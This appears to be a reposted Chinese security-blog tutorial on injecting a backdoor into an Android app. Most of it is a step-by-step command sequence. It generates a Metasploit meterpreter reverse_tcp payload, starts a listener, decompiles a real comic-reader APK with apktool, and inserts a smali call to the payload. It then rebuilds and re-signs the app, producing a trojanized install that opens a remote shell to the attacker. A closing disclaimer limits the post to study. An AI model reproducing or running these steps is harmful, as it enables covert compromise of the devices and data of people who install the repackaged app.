https://ibotpeaches.github.io/Apktool/install/https://www.oracle.com/java/technologies/javase-jdk16-downloads.html
msfvenom -p android/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=6663 -o 1.apkmsf6 > use exploit/multi/handlerUsing configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcppayload => android/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set LHOST x.x.x.xLHOST => x.x.x.xmsf6 exploit(multi/handler) > set LPORT 6663LPORT => 6663msf6 exploit(multi/handler) > exploit -z -j
java -jar apktool.jar d 1.apkjava -jar apktool.jar d kemi.apk
/root/APP/kemi/smali/com/icomico/comi/activity/
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
java -jar apktool.jar b kemi
生成签名keytool -genkey -v -keystore android.keystore -alias android.keystore -keyalg RSA -validity 20000添加签名bin/jarsigner -verbose -keystore android.keystore -signedjar 123_yqm.apk kemi.apk android.keystore
本篇文章仅供学习使用，切勿触犯法律！
END
本文始发于微信公众号（NOVASEC）：Apk注入后门
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论